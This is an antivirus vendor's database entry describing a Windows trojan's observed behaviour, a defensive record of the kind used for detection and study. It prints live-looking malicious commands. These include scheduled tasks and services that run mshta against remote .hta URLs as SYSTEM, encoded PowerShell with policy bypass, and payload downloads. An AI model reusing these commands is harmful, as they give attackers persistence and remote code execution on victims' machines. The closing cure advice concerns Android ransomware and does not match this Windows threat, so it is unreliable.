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Trojan.Siggen18.59843

Added to the Dr.Web virus database: 2022-10-16

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization
  • <SYSTEM32>\tasks\microsoft\windows\bluetooth\updatedevicetask
  • <SYSTEM32>\tasks\microsoft\windows\shell\windowsshellupdate
  • <SYSTEM32>\tasks\microsoft\windows\shell\winshell
  • <SYSTEM32>\tasks\microsoft\windows\upnp\upnphost
  • <SYSTEM32>\tasks\microsoft\windows\upnp\upnpclient task
  • <SYSTEM32>\tasks\microsoft\windows\edp\edp app lock task
  • <SYSTEM32>\tasks\microsoft\windows\edp\edp app update cache
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.50319 critical
  • <SYSTEM32>\tasks\microsoft\windows\diskcleanup\slientdefragdisks
  • <SYSTEM32>\tasks\microsoft\windows\registry\regbackup
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678155-433529325-2142214968-1138
  • <SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678156-433529325-2142214268-1138
  • <SYSTEM32>\tasks\microsoft\windows\ramdiagnostic\error diagnostic
  • <SYSTEM32>\tasks\microsoft\windows\mui\lpupdate
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '<SYSTEM32>\WinRing0x64.sys'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'ImagePath' = 'cmd /c mshta http://asq.r77vh0.pw/win/checking.hta'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'ImagePath' = 'cmd /c mshta https://asq.swhw71un.pw/win/checking.hta'
Creates the following services
  • 'WinRing0_1_2_0' <SYSTEM32>\WinRing0x64.sys
  • 'cli_optimization_v2.0.55727_64' cmd /c mshta http://asq.r77vh0.pw/win/checking.hta
  • 'cli_optimization_v2.0.55727_32' cmd /c mshta https://asq.swhw71un.pw/win/checking.hta
Malicious functions
Downloads
  • http://83.#7.20.81/meta
Injects code into
the following system processes:
  • <SYSTEM32>\rundll32.exe
Modifies file system
Creates the following files
  • %TEMP%\gasiftm6.0.cs
  • %TEMP%\gasiftm6.cmdline
  • %TEMP%\gasiftm6.out
  • %TEMP%\csc3a32.tmp
  • %TEMP%\res3a43.tmp
  • %TEMP%\gasiftm6.dll
  • %ALLUSERSPROFILE%\oracle\java\java.exe
  • %WINDIR%\fonts\del.ps1
Deletes the following files
  • %TEMP%\res3a43.tmp
  • %TEMP%\csc3a32.tmp
  • %TEMP%\gasiftm6.0.cs
  • %TEMP%\gasiftm6.pdb
  • %TEMP%\gasiftm6.dll
  • %TEMP%\gasiftm6.cmdline
  • %TEMP%\gasiftm6.out
Network activity
Connects to
  • '83.#7.20.81':80
  • '83.#7.20.81':443
  • 'eu.##nerpool.pw':443
TCP
HTTP GET requests
  • http://83.#7.20.81/meta
  • http://83.#7.20.81/win/checking.ps1
  • http://83.#7.20.81/win/min/64.exe
  • http://83.#7.20.81/win/del.ps1
Other
  • '83.#7.20.81':443
  • 'eu.##nerpool.pw':443
UDP
  • DNS ASK eu.##nerpool.pw
Miscellaneous
Creates and executes the following
  • '%ALLUSERSPROFILE%\oracle\java\java.exe'
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gasiftm6.cmdline"' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A43.tmp" "%TEMP%\CSC3A32.tmp"' (with hidden window)
  • '%ALLUSERSPROFILE%\oracle\java\java.exe' ' (with hidden window)
Executes the following
  • '<SYSTEM32>\rundll32.exe'
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#whw71un.pw/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#7610rir.pw/win/checking.hta" ...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asd.s7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\RamDiagnostic\Error Diagnostic" /sc DAILY /f /mo 8 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcABzADoALw...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\...
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\SYSTEM" /RL ...
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -no...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -nop -noni -w 1...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop ...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop -noni -w 1 -...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\RamDiagnostic\Error Diagnostic" /sc DAILY /f /mo 8 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AH...
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#whw71un.pw/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asd.s7610rir.pw/win/checking.hta" /ru SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /end
  • '<SYSTEM32>\cmd.exe' /c powershell -exec bypass -w 1 -e dAByAHkAIAB7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAcwB0AG...
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gasiftm6.cmdline"
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A43.tmp" "%TEMP%\CSC3A32.tmp"
  • '<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_64
  • '<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_64
  • '<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_32
  • '<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_32
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALw...
  • '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpAD...
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /end
  • '<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Registry\RegBackup /delete /f
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Registry\RegBackup /delete /f
  • '<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
  • '<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
  • '<SYSTEM32>\cmd.exe' /c schtasks /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %ALLUSERSPROFILE%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
  • '<SYSTEM32>\schtasks.exe' /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %ALLUSERSPROFILE%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
  • '<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://83.#7.20.81/win/checking.hta" /ru SYSTEM /RL HIGHEST
  • '<SYSTEM32>\schtasks.exe' /f /tn \Microsoft\Windows\MUI\LPupdate /tr "<SYSTEM32>\cmd.exe /c powershell -exec bypass %WINDIR%\Fonts\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create

Curing recommendations

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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